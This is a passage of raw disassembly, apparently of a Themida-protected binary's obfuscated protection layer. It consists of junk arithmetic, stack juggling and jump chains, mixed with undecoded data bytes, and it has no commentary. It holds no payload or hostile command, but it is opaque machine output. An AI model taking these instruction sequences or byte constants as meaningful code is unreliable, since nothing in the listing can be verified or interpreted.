		dd 0ABE958C3h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560217:				; CODE XREF: Themida_:0055709Aj
		pop	edi
		push	ebx
		jmp	loc_55FF15
; ---------------------------------------------------------------------------


loc_56021E:				; CODE XREF: Themida_:00563DEEj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_551AD3
; ---------------------------------------------------------------------------


loc_56022B:				; CODE XREF: Themida_:00553C59j
		mov	ebp, 34E86609h
		inc	ebp
		or	ebp, 55153519h
		dec	ebp
		xor	ebp, 75FD771Eh
		add	edx, ebp
		jmp	loc_55242A
; ---------------------------------------------------------------------------


loc_560245:				; CODE XREF: Themida_:0055A9D8j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		jmp	loc_558AB1
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 24h
		dd 24048324h, 240C8B04h, 0E904C483h, 1F2Dh, 7E0EE959h
		dd 0DBF7FFFFh, 0DBF7D3F7h, 0FF8E28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560279:				; CODE XREF: Themida_:00563949j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	ebp
		mov	ebp, 0EC0341Ch
		add	ebp, 214C5440h
		push	eax
		mov	eax, 0E1F6D4Ah
		and	ebp, eax
		pop	eax
		sub	ebp, 0B3E8B062h
		mov	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 59E91892h
		inc	esi
		jmp	loc_56582B
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Fh, 42404h
		db 2 dup(0), 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		add	ecx, 50936F2h
		jmp	loc_55BCF2
; ---------------------------------------------------------------------------
		dd 2111B951h, 0C18172FCh, 1D5F1E47h, 6DC9BD55h,	0C4E962FFh
		dd 5AFFFF73h, 0FF59C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560315:				; CODE XREF: Themida_:005664EFj
		mov	[esp], edx
		push	ebp
		push	33B387Ch
		pop	ebp
		shl	ebp, 1
		or	ebp, 2F0F2249h
		inc	ebp
		xor	ebp, 785F5450h
		mov	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 39F45085h
		or	edx, ebp
		pop	ebp
		xor	edx, 2A624782h
		sub	edx, 5384FB2Ch
		add	edi, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 0E6367EAh
		push	ebp
		jmp	loc_561CE6
; ---------------------------------------------------------------------------
		db 81h
		dd 0B3066CEEh, 3487593Eh, 24248B24h, 56156850h,	2C890000h
		dd 41C0E924h, 3C8BFFFFh, 4C48124h, 0E9000000h, 0FFFFFCE3h
		dd 64C0C281h, 0E95D0668h, 0FFFFE13Bh
; ---------------------------------------------------------------------------


loc_56039C:				; CODE XREF: Themida_:00559D8Bj
		mov	[esp], edx
		mov	dh, 13h
		push	eax
		mov	ah, 0F3h
		sub	ah, 0FFh
		add	ah, 5Eh
		jmp	loc_556A4B
; ---------------------------------------------------------------------------
		db 81h
		dd 0D80CF7C5h, 7BE95050h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5603BB:				; CODE XREF: Themida_:00562649j
		mov	eax, 2771D9Eh
		xor	edi, eax
		pop	eax
		jmp	loc_55708C
; ---------------------------------------------------------------------------
		dd 9EE95966h, 81FFFF49h, 0B840B5C1h, 0E9D1010Eh, 0FFFFFA5Ch
; ---------------------------------------------------------------------------


loc_5603DC:				; CODE XREF: Themida_:00564952j
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_55E7D0
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0DDh
		dd 3A15E9h, 41E96800h, 0C890000h, 68F7B524h, 3AEh, 0E9241489h
		dd 29CEh
; ---------------------------------------------------------------------------


loc_560408:				; CODE XREF: Themida_:00560839j
		neg	edx
		add	edx, 3CE66FCBh
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_55355D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CF8102E7h, 64C272D1h, 3837EF81h, 0F9213CA3h, 942EE95Fh
		dd 0E6C0FFFFh, 5EEC007h, 0EE80DEF6h, 5AF42872h,	0B353DCF6h
		dd 0BCE38058h, 0FF1C77E9h, 0DDF581FFh, 1F0FC29h, 0F8ECE9E9h
		dd 0D8BDFFFFh, 890DB358h, 0E6815DEEh, 38AD329Ah, 76B4C681h
		dd 7BE91955h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560477:				; CODE XREF: Themida_:00564149j
		or	edx, 19DA057Ch
		xor	edx, 0FDFE2D79h
		add	ecx, edx
		pop	edx
		jmp	loc_55C4F1
; ---------------------------------------------------------------------------
		db 81h
		dd 0B55190C7h, 0D6ED8118h, 29113871h, 0D6C581FDh, 5F113871h
		dd 69BD5550h, 0B8791334h, 29B757B8h, 95DE831h, 0C58158C5h
		dd 8E08B9F0h, 7903702Dh, 38EBE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5604C2:				; CODE XREF: Themida_:005612BBj
		mov	edx, esp
		add	edx, 4
		jmp	loc_564FD1
; ---------------------------------------------------------------------------
		db 56h
		dd 2F743ABEh, 0E1BD550Ah, 8142B526h, 0D1DE5E5h,	0E9D5F746h
		dd 3632h
; ---------------------------------------------------------------------------


loc_5604E8:				; CODE XREF: Themida_:0055F911j
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_55B46F
; ---------------------------------------------------------------------------


loc_560501:				; CODE XREF: Themida_:005564A7j
		not	ebx
		add	ebx, 1
		shl	ebx, 7
		push	3179h
		mov	[esp], ebp
		mov	ebp, 53713CFDh
		push	ebx
		mov	ebx, 6E7420D2h
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	ebp
		or	ebp, 2CBC5EEFh
		sub	ebp, 0FC470091h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 7415905Ah
		add	edi, ebx
		pop	ebx
		jmp	loc_552673
; ---------------------------------------------------------------------------
		dd 0E9597104h, 0FFFFF2A8h, 80E95150h, 100005Fh,	1C875EF3h
		dd 0D8205C24h, 8B2434FFh, 0C483241Ch, 4C48104h,	68000000h
		dd 665Ah, 0E9241489h, 0FFFF3056h
; ---------------------------------------------------------------------------


loc_56057C:				; CODE XREF: Themida_:00559638j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_56058A:				; CODE XREF: Themida_:005635EAj
		mov	ecx, 0E89B1014h
		add	esi, 332F157Bh
		jmp	loc_55B422
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2DCEE904h, 6068FFFFh, 8B3AD553h, 0C4832434h,	24743104h
		dd 24348B04h, 8B04C483h, 8957243Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0FF53B7E9h,	242C89FFh, 0FFA11EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5605D9:				; CODE XREF: Themida_:005529F4j
		mov	edx, 26C720Ah
		add	ebp, edx
		jmp	loc_55FD32
; ---------------------------------------------------------------------------
		db 51h,	0F6h, 5Ch
		dd 20E90124h, 89FFFF9Bh, 58C189F8h, 1C8B5E5Fh, 821AE924h
		dd 5553FFFFh, 433336BDh, 2C55E960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56060A:				; CODE XREF: Themida_:00563B4Cj
		pop	ebx
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_559633
; ---------------------------------------------------------------------------


loc_560614:				; CODE XREF: Themida_:00561D64j
		pop	ebx
		jmp	loc_556D75
; ---------------------------------------------------------------------------
		dw 1433h
aH6		db '$\h)6',0
		dw 8900h
		dd 0E189240Ch, 4C181h, 91E90000h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560633:				; CODE XREF: Themida_:005654BCj
		pop	ecx
		jmp	loc_55E72A
; ---------------------------------------------------------------------------
		db 5Eh,	0C1h, 0E5h
		dd 81D5F706h, 0EBBE3DF5h, 8BEA017Dh, 8952242Ch,	4C281E2h
		dd 81000000h, 4C2h, 24148700h, 74FF525Ch, 148B0424h, 4C48124h
		dd 8F000000h, 248B2404h, 0E9F76624h, 0FFD0AFE9h, 148B66FFh
		dd 2C48124h, 80000000h,	0EB80C7EBh, 0BF4AE964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56068E:				; CODE XREF: Themida_:0055D56Dj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563EED
; ---------------------------------------------------------------------------
		dd 2EA06866h, 24048966h, 0FF0F73E9h, 8BEA01FFh,	0C481242Ch
		dd 4, 88C2815Bh, 8311AA6Dh, 70E904ECh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5606CF:				; CODE XREF: Themida_:0055B322j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55C64D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 5C24048Fh, 0FFB945E9h, 243C89FFh,	2BFh, 36E95200h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5606F7:				; CODE XREF: Themida_:0055662Ej
		add	esp, 4
		jmp	loc_554389
; ---------------------------------------------------------------------------


loc_5606FF:				; CODE XREF: Themida_:00564DC9j
		add	esp, 4
		or	dl, 0D5h
		xchg	bl, dl
		not	bl
		xchg	bl, dl
		and	dl, 9Bh
		dec	dl
		push	ecx
		mov	ch, 3Fh
		sub	ch, 8Dh
		xor	ch, 75h
		xor	dl, ch
		pop	ecx
		shl	dl, 8
		jmp	loc_556F44
; ---------------------------------------------------------------------------


loc_560724:				; CODE XREF: Themida_:00556828j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_553C5E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9E9028Fh, 0FFFFFF0Eh, 0E9582434h, 0FFFF1354h
; ---------------------------------------------------------------------------


loc_560748:				; CODE XREF: Themida_:00555793j
		sub	al, 5Dh
		push	small 204Eh
		mov	[esp], dx
		mov	dh, 5Fh
		sub	al, dh
		pop	dx
		add	al, bl
		push	edx
		mov	dl, 5Fh
		add	al, dl
		pop	edx
		push	dx
		mov	dh, 5Dh
		add	al, dh
		pop	dx
		sub	al, 0B8h
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55F215
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 815C243Ch, 15082444h, 5E4EA526h, 4F7E68h
		dd 240C8900h, 0FF6D60E9h, 0E9C828FFh, 0FFFFFDA0h
; ---------------------------------------------------------------------------


loc_5607A8:				; CODE XREF: Themida_:00562EEAj
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 7D033619h
		sub	ebx, 3E1C170Dh
		add	ebx, edi
		push	edx
		mov	edx, 73C12ED6h
		neg	edx
		dec	edx
		jmp	loc_55F64E
; ---------------------------------------------------------------------------


loc_5607C7:				; CODE XREF: Themida_:0055B799j
		push	ecx
		mov	ecx, 20777BADh
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_558A1C
; ---------------------------------------------------------------------------


loc_5607D7:				; CODE XREF: Themida_:00564A25j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_558FB8
; ---------------------------------------------------------------------------
		dd 8159CF89h, 0D23B39EEh, 0E9FE296Bh, 0FFFF2344h
; ---------------------------------------------------------------------------


loc_5607F8:				; CODE XREF: Themida_:0055CCB3j
		pop	esi
		xor	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		jmp	loc_562117
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 0E95C2404h, 0FFFF2FB9h
; ---------------------------------------------------------------------------


loc_560818:				; CODE XREF: Themida_:00558B06j
		mov	ebx, esp
		push	ebp
		push	4
		pop	ebp
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	224Bh
		mov	[esp], edx
		mov	edx, 3CE66FCAh
		jmp	loc_560408
; ---------------------------------------------------------------------------


loc_56083E:				; CODE XREF: Themida_:005582F5j
		mov	eax, [esp]
		jmp	loc_555909
; ---------------------------------------------------------------------------


loc_560846:				; CODE XREF: Themida_:0055CD53j
		shr	edi, 7
		sub	edi, 0C1543Eh
		add	ecx, edi
		pop	edi
		jmp	loc_563833
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA6B7EC2h, 1CD6E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560862:				; CODE XREF: Themida_:00561EC5j
		sub	ebx, 38DF4B38h
		pop	eax
		jmp	loc_565D85
; ---------------------------------------------------------------------------
		dd offset dword_4CEBCC+349Ch
		dw 0E900h
		dd 0FFFFC2C9h, 59C828h,	1B44E9F0h, 248B0000h, 4C38324h
		dd 5C241C87h, 0E9C8AF0Fh, 0FFFFDF54h, 7FD8E381h, 0E94B0BD7h
		dd 0FFFFB672h
; ---------------------------------------------------------------------------


loc_5608A0:				; CODE XREF: Themida_:00556B02j
		push	edi
		push	ebx
		mov	ebx, 7933418Eh
		mov	edi, 4FFE5010h
		jmp	loc_5575FB
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 1EB82404h, 405AFD2Eh, 481BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5608C5:				; CODE XREF: Themida_:00559CB4j
		mov	edi, [esp]
		add	esp, 4
		push	341h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7ED35BB1h
		shl	ecx, 4
		and	ecx, 1C3308C7h
		jmp	loc_5590E9
; ---------------------------------------------------------------------------
		db 89h
		dd 0D0315AD0h, 6E8C15Ah, 486E9h, 55572500h, 8E97893h, 8BFFFF6Ah
		dd 0C4832404h, 2DC38104h, 29FE2C06h, 0FF2D5BD8h, 294E3C31h
		dd 27B951D8h, 0E9265950h, 0FFFF585Ah, 0ED441105h, 70220509h
		dd 1C8B3149h, 1550E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560942:				; CODE XREF: Themida_:0055E5B0j
		push	ebx
		push	esp
		jmp	loc_552460
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0C6h
		dd 0E9B6CE80h, 0FFFF674Bh, 3BBB535Bh, 81725E2Fh, 8B6648CBh
		dd 5AEB8108h, 3137B556h, 2434FFD9h, 4C4835Bh, 159CF31h
		dd 243C8BF9h, 4C481h, 0EC830000h, 24048904h, 2B8h, 0F115E900h
		dd 0C481FFFFh, 4, 0F447E82Dh, 5D82971h,	71F447E8h, 2B768h
		dd 240C8900h, 12FABD55h, 1CB95D29h, 11B3DF4h, 0BD555DE9h
		dd 72826CE1h, 0E95DE829h, 0ADh,	2DE9DFF6h, 8BFFFF60h, 74E92424h
		dd 59FFFF6Bh, 1466E225h, 0D7F79765h, 66B2D97h, 0D5353C24h
		dd 0D14F40A9h, 386068E0h, 0D5E90000h, 81000005h, 8D0ECAEFh
		dd 0BDEF8176h, 140B75Ah, 0BE5652EFh, 633B53D4h,	0EEC1D6F7h
		dd 0F7D6F707h, 0EC681D6h, 8928508Bh, 24348BF2h,	4C481h
		dd 0F2810000h, 3BB37F72h, 3263E281h, 0BD556BCBh, 44A67D0Ah
		dd 56DDCD81h, 0E58108E2h, 69911BFCh, 70ED814Dh,	8108A244h
		dd 73EFD6F5h, 0E9EA0101h, 0FFFFD9A7h, 34FFE801h, 242C8B24h
		dd 32A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_560A61:				; CODE XREF: Themida_:00555A55j
		sub	esi, ecx
		pop	ecx
		jmp	loc_559B1C
; ---------------------------------------------------------------------------


loc_560A69:				; CODE XREF: Themida_:0055D4F2j
		sub	edx, edi
		pop	edi
		jmp	loc_554A1F
; ---------------------------------------------------------------------------
		db 2Dh,	0CFh, 0
		dd 6E90B65h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560A7B:				; CODE XREF: Themida_:00556870j
		xor	ch, bl
		pop	ebx
		sub	esp, 2
		mov	[esp], cx
		push	eax
		mov	ah, 3Dh
		mov	cl, 3
		sub	cl, 83h
		sub	cl, ah
		jmp	loc_56436F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 7B9C1A3Eh, 8159CE31h, 597EC3C7h, 81F70138h, 597EC3EFh
		dd 2434FF38h, 0FF15FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560AB5:				; CODE XREF: Themida_:0055A762j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55EC65
; ---------------------------------------------------------------------------
		dw 8B66h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55AC57
; ---------------------------------------------------------------------------


loc_560ACA:				; CODE XREF: Themida_:00563839j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55BF4E
; ---------------------------------------------------------------------------
		dd 50240C89h, 0F7BE9h, 3676800h, 1C890000h, 0B3535124h
		dd 62E5E9FEh, 815FFFFFh, 1379C1F5h, 48BF5778h, 81079D06h
		dd 170BDDF7h, 5FFD091Bh, 2FB9ED81h, 0BAE91DEFh,	81FFFF57h
		dd 871354C2h, 0CFC2813Ch, 294E2E05h, 0CFEA81F2h, 814E2E05h
		dd 871354EAh, 10C2813Ch, 0E9304311h, 121h
; ---------------------------------------------------------------------------


loc_560B38:				; CODE XREF: Themida_:0055F720j
		mov	esp, [esp]
		add	ecx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 64DB3ADAh
		jmp	loc_552E32
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C7h, 4BE5600h, 29000000h, 8EE95EF7h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560B6B:				; CODE XREF: Themida_:00558E3Dj
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5553B0
; ---------------------------------------------------------------------------
aIH		db '‰<$h&!',0
		align 2
		dw 1489h
		dd 0CC27E924h, 0DA01FFFFh, 95C2815Bh, 81053709h, 0B30F71EAh
		dd 0C2835E32h, 2C82E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560BAA:				; CODE XREF: Themida_:0055E17Ej
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_55B4C6
; ---------------------------------------------------------------------------
		dd 8704E6C1h, 6770E9FEh, 1EBAFFFFh, 68754516h, 794Fh, 0BF243C89h
		dd 69783FDBh, 0E95FFA09h, 0FFFFA8F6h, 0FF0A47E9h, 14F750FFh
		dd 9E685824h, 8900007Eh, 5F50243Ch, 0FF1A31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560BF5:				; CODE XREF: Themida_:00565F7Ej
		sub	ebp, edx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_554D65
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 86h
		dd 5E11D13Eh, 3F21BF57h, 0EFC13C34h, 7CCF8104h,	815C5D08h
		dd 99E453EFh, 5FFB29F4h, 0BD55D301h, 0F8E778Ah,	4D05EDC1h
		dd 0ED81DDF7h, 943E249Ah, 5A5DEB01h, 0E9241C33h, 0FFFFAC0Bh
		dd 4C381h, 0BA520000h, 595E7641h, 0FFE3F8E9h, 875E5EFFh
		dd 248B2414h, 0C896624h, 0B6DAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C6A:				; CODE XREF: Themida_:00555FDDj
		push	edx
		mov	edx, esp
		jmp	loc_5660E3
; ---------------------------------------------------------------------------
		dw 0F028h
		dd 0FF7D8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560C79:				; CODE XREF: Themida_:0055E9F2j
		sub	esp, 4
		jmp	loc_55EE3F
; ---------------------------------------------------------------------------


loc_560C84:				; CODE XREF: Themida_:0055C23Aj
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_55C76C
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C9h
		dd 7657471Dh, 8107E9C1h, 81594AE9h, 0D898E937h,	3C89FFFFh
		dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 4EC81h, 0C890000h
		dd 53EEB524h, 0FD28FFB7h, 0FFF12CE9h, 0C8966FFh, 0B60F6624h
		dd 9C5166C8h, 1BB4E9h, 24048B00h, 1F8AE953h, 0C3810000h
		dd 2CD27805h, 0A4B5E95Eh, 8FBAFFFFh, 0E9756137h, 0FFFF1B9Eh
		dd 865975BBh, 0C0EB8159h, 0E911CC3Ah, 0FFFF86DBh, 0F704E9C1h
		dd 9FC181D9h, 29755857h, 0C32959CBh, 0FFEFE4E9h, 0EA815EFFh
		dd 66864C0h, 5CEAE950h,	0EE29FFFFh, 1E21E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D36:				; CODE XREF: Themida_:00555FC5j
		pop	esp
		add	ecx, 4
		push	ecx
		jmp	loc_55787F
; ---------------------------------------------------------------------------
		db 0BEh
		dd 5ABF007Ch, 8246C81h,	4EA52615h, 8246C81h, 7FC07922h
		dd 0FFC1EDE9h, 48C180FFh, 2863C680h, 63EE80CEh,	81240C8Bh
		dd 4C4h, 0A5E95000h, 58FFFF7Fh,	4C581h,	71E90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560D83:				; CODE XREF: Themida_:00551FEBj
		push	dword ptr [esp]
		jmp	loc_55E17C
; ---------------------------------------------------------------------------
		db 5
		dd 3A9E5BE0h, 29FE9h, 4EC8300h,	0B3241C89h, 36CB80C2h
		dd 66FECB80h, 0B8B450h,	665866E3h, 3032B151h, 0E95966CBh
		dd 4Ch,	5C243487h, 4BF57h, 0FA010000h, 81243C8Bh, 4C4h
		dd 6459E900h, 2DADFFFFh, 791E7393h, 5677E9h, 58C62000h
		dd 0B353DEF6h, 5BDE28A9h, 5AF328h, 55F1E9C3h, 815FFFFFh
		dd 64DDAEBh, 81C38143h,	0E978C036h, 0FFFFD4ECh,	0E9F0C180h
		dd 0FFFF7231h, 4C681h, 0CC680000h, 8900000Dh, 4682404h
		dd 0E9000000h, 0FFFF1599h, 104C483h, 0EBE95EF2h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E2F:				; CODE XREF: Themida_:00562D1Ej
		add	ebp, ecx
		add	ebp, 2AFA7D85h
		sub	esp, 4
		jmp	loc_55E044
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFFE920h
; ---------------------------------------------------------------------------


loc_560E48:				; CODE XREF: Themida_:00554D68j
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	esi, ebx
		jmp	loc_55EC0A
; ---------------------------------------------------------------------------
		dd 4BF5752h, 8103FD28h,	54DB15EFh, 5FFA898Ch, 0FF2845E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E69:				; CODE XREF: Themida_:005519B4j
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_562479
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 6A136824h, 0F9E90000h, 89FFFF4Dh, 4C181E1h, 68000000h
		dd 2394h, 0E9242C89h, 36CBh, 83242C8Bh,	0C12D04C4h, 1211D4Ch
		dd 4CC105D8h, 34FF211Dh, 241C8B24h, 1590E9h, 4C58100h
		dd 81000000h, 4ECh, 24148900h, 665BEBBAh, 5EAC14Ch, 5348E9h
		dd 37C38100h, 81394B71h, 827B49EBh, 6472E956h, 3ABBFFFFh
		dd 0E91C310Ch, 0FFFF7F8Dh, 1796F781h, 0FA0148CDh, 0E9243C8Bh
		dd 0FFFFC44Ch, 0EE89CD89h, 240C8B5Dh, 4C481h, 0E2BA0000h
		dd 2980DE86h, 814A5EF2h, 931F9AEAh, 6BE9504Ah, 5FFFFF23h
		dd 38BBE181h, 24E9495Ch, 0AC00003Ah, 6852122Ch,	48B4h
		dd 0E9240489h, 0FFFF0B5Eh, 815AF028h, 4ECh, 24148900h
		dd 221868h, 240C8900h, 4EC8353h, 0B4240489h, 8E8E93Ch
		dd 0C481FFFFh, 4, 730EBD55h, 0EDC14254h, 0C7F58102h, 110951Ch
		dd 42D5DE8h, 87000000h,	248B2404h, 241C8924h, 4EC81h, 0C890000h
		dd 5276B124h, 56E92BB2h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560F9F:				; CODE XREF: Themida_:005661A7j
		mov	edx, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, 7C9124D7h
		push	edx
		push	esi
		jmp	loc_562B4B
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 64122D94h, 3297BB53h, 0C1432734h, 0B2E908E3h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FDF:				; CODE XREF: Themida_:0055571Cj
		push	esi
		push	7428612Bh
		pop	esi
		inc	esi
		and	esi, 75141D17h
		xor	esi, 5A8769FEh
		add	edx, 29FB5942h
		sub	edx, esi
		sub	edx, 29FB5942h
		pop	esi
		push	esi
		push	ebx
		push	4BA4115Eh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55CAA2
; ---------------------------------------------------------------------------
		dd offset dword_53835C+20Ch
		dw 5700h
		dd 0BE95F54h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56101F:				; CODE XREF: Themida_:00552218j
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56111E
; ---------------------------------------------------------------------------
		dd 48BC629h, 4C48124h, 68000000h, 390Eh, 0E9243C89h, 0FFFFC87Dh
; ---------------------------------------------------------------------------


loc_56104C:				; CODE XREF: Themida_:0056280Bj
		pop	esp
		mov	[esp], edx
		push	0DFD9BAD2h
		jmp	loc_55CD78
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 6DC7815Eh, 135B04Dh,	6DEF81C7h, 5835B04Dh, 31243C33h
		dd 3C33243Ch, 91E95C24h, 100000Fh, 2BECE9D8h, 86040000h
		dd 862CF800h, 0F0E93304h, 88FFFF11h, 1769E9D3h,	2C89FFFFh
		dd 2B95124h, 0E9000000h, 0FFFF9E86h
; ---------------------------------------------------------------------------


loc_5610A4:				; CODE XREF: Themida_:0055C8DFj
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55FB88
; ---------------------------------------------------------------------------
		dd 66BCC781h, 0F78171ABh, 0EF2AA5E9h, 875FFE29h, 0E95C2434h
		dd 0FFFFECC7h, 0B8240489h, 547A64FFh, 158C189h,	0E2F5E9C8h
		dd 0C89FFFFh, 6267E924h, 0E951FFFFh, 0FFFFBB66h, 0E9242C87h
		dd 95Eh, 240C8B66h, 7F3E68h, 240C8900h,	6568E189h, 0E9000079h
		dd 0FFFFBD32h
; ---------------------------------------------------------------------------


loc_561108:				; CODE XREF: Themida_:0055F657j
		xor	edx, 1CDBA0Dh
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 7D033619h
		add	ebx, esi
		jmp	loc_565A47
; ---------------------------------------------------------------------------


loc_56111E:				; CODE XREF: Themida_:0056102Fj
		xchg	esi, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4


loc_561128:				; CODE XREF: Themida_:loc_55DF7Aj
		push	389h
		jmp	loc_5546AB
; ---------------------------------------------------------------------------


loc_561132:				; CODE XREF: Themida_:005621A4j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_561142:				; CODE XREF: Themida_:0055F5F8j
		pop	ebx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_5570FD
; ---------------------------------------------------------------------------
		dd 4C18159h, 50000000h,	4B8h, 0C71DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56115E:				; CODE XREF: Themida_:00559DE5j
		not	ebx
		neg	ebx
		sub	ebx, 35302ADCh
		jmp	loc_553D4A
; ---------------------------------------------------------------------------
		db 66h,	81h, 0C7h
		dd 29662733h, 0EF8166D7h, 8B662733h, 0C4812414h, 2, 0FFBD5EE9h
		dd 4C781FFh, 87000000h,	0CDE9243Ch
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561197:				; CODE XREF: Themida_:00559424j
		xor	ebx, 188CF7DBh
		jmp	loc_551A81
; ---------------------------------------------------------------------------
		dw 0C15Bh
